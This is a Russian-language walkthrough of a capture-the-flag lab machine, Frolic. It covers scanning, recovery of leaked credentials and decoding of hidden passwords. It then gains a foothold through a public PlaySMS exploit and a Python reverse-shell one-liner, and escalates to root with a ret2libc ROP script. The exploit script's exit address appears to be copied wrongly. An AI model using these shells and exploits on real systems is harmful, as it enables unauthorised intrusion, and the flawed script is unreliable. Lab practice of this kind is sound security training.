Обзор сервисов
Проведем сканирование портов с помощью nmapAutomator.sh
:
$ /opt/nmapAutomator/nmapAutomator.sh -H 10.10.10.111 -t Full
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h45m25s, deviation: 3h10m30s, median: 4m33s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2021-06-01T16:45:13+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-01T11:15:13
|_ start_date: N/A
Веб-сервис
Сразу же проведем исследование каталогов на сервере с помощью gobuster
:
$ gobuster dir -u http://10.10.10.111:9999 -w /usr/share/dirb/wordlists/common.txt -x js,txt,pdf --threads=50
/admin (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/]
/backup (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/]
/dev (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/]
/test (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/]
Смотрим в каталог /backup
и находим http://10.10.10.111:9999/backup/user.txt с кредами admin:imnothuman
.
$ gobuster dir -u http://10.10.10.111:9999/dev/ -w /usr/share/dirb/wordlists/common.txt -x js,php,txt,pdf --threads=50
/backup (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/backup/]
/test (Status: 200) [Size: 5]
Проводим поиск дальше и находим эндпоинты:
Исследование веб-сервиса
В /admin/js/login.js
находим захардкоженный пароль.
username == "admin" && password == "superduperlooperpassword_lol"
Логинимся в админку и получаем текст на ook
(https://www.splitbrain.org/_static/ook/):
…………… .!?!! .?… ………….?. ?!.?…… …………… …….!.? ………. .!?!! .?… …….?.? !.?………… ….! ………. .!.?…… .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ………. .!.!! !!!!! !!!!! !!!.? …………… ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… …………..! ?!!.? …………… .?.?! .?… ………….!. !!!!! !!.?…… .!?!! .?… …?. ?!.?…… ..!.? …….!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?……… ……..!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?…… ………. .!?!! .?… ………….?. ?!.?…… !……… ..!.! !!!!! !.!!! !!… …………..! .?… …………..! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ……?.?! .?… ………! .?… …………!?! !.?………… ..?.? !.?.. !.?………!?! !.?……. .?.?! .?… .!.?…… .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ……..!. ?……… !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? …….!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !……… ………. !.!.? ………. .!?!! .?!!! !!!!! !!?.? !.?!! !.?………..! ?!!.? ………. ?.?!. ?……… …….!………… .!.?…… …!? !!.?! !!!!! !!?.? !.?!! !!!.? …….!?! !.?!! !!!!? .?!.? !!!!! !!.?…… …!? !!.?…… ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?………!?! !.?……. .?.?! .?… .!.?…… ………. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! …….!.! !!!!! !.?.
Nothing here check /asdiSIAJJ0QWE9JAS
Переходим на новый эндпоинт (http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS) и видим текст в base64:
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA
Получаем ZIP-файл, закрытый паролем.
Брут ZIP-архива
$ zip2john 1.zip > hash
$ cat hash | grep -E -o '(\$pkzip2\$.*\$/pkzip2\$)|(\$zip2\$.*\$/zip2\$)' > zip.hash
$ hashcat -m 17200 zip.hash /usr/share/wordlists/rockyou.txt
password
$ unzip 1.zip
password
Исследование ZIP-архива
$ cat index.php # (hex)
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
Переведем HEX в ASCII.
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
Перевод base64 в ascii (получим brainfuck).
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
После декодирования brainfuck получаем idkwhatispass
.
PlaySMS
Логинимся в ранее найденный сервис http://10.10.10.111:9999/playsms.
admin:idkwhatispass
Публичный эксплоит
git clone https://github.com/jasperla/CVE-2017-9101
python3 playsmshell.py --username admin --password idkwhatispass --url http://10.10.10.111:9999/playsms/ --interactive
nc -lnvp 1234
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
MySQL креды
www-data@frolic:~/html/playsms$ cat config.php
<?php
// PHP PEAR DB compatible database engine:
// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB
$core_config['db']['type'] = 'mysqli'; // database engine
$core_config['db']['host'] = 'localhost'; // database host/server
$core_config['db']['port'] = '3306'; // database port
$core_config['db']['user'] = 'root'; // database username
$core_config['db']['pass'] = 'ayush'; // database password
$core_config['db']['name'] = 'playsms'; // database name
Флаг пользователя
www-data@frolic:/home/ayush$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 00:50:56:b9:25:f6 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.111/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:25f6/64 scope global mngtmpaddr dynamic
valid_lft 86140sec preferred_lft 14140sec
inet6 fe80::250:56ff:feb9:25f6/64 scope link
valid_lft forever preferred_lft forever
www-data@frolic:/home/ayush$ cat user.txt
2ab95909cf509f85a6f476b59a0c2fe0
Повышение привилегий
Находим SUID-бинарник и начинаем его исследовать.
www-data@frolic:/home/ayush/.binary$ ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
Будем писать ROP-эксплоит, нам нужны следующие адреса:
libc addr
=>0xb7e19000
system_addr
=>0x003ada0
exit_addr
=>0x002e9d0
/bin/sh
addr =>0x15ba0b
Файл exploit.py
:
import struct
buf = "A" * 52
libc_addr = 0xb7e19000
sh_addr = struct.pack("<I", libc_addr + 0x15ba0b)
system_addr = struct.pack("<I", libc_addr + 0x003ada0)
exit_addr = struct.pack("<I", libc_addr + 0x15ba0b)
payload = buf + system_addr + exit_addr + sh_addr
print payload
Запускаем:
/home/ayush/.binary/rop $(python exploit.py)
Флаг суперпользователя
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 00:50:56:b9:25:f6 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.111/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:25f6/64 scope global mngtmpaddr dynamic
valid_lft 86233sec preferred_lft 14233sec
inet6 fe80::250:56ff:feb9:25f6/64 scope link
valid_lft forever preferred_lft forever
# cat root.txt
85d3fdf03f969892538ba9a731826222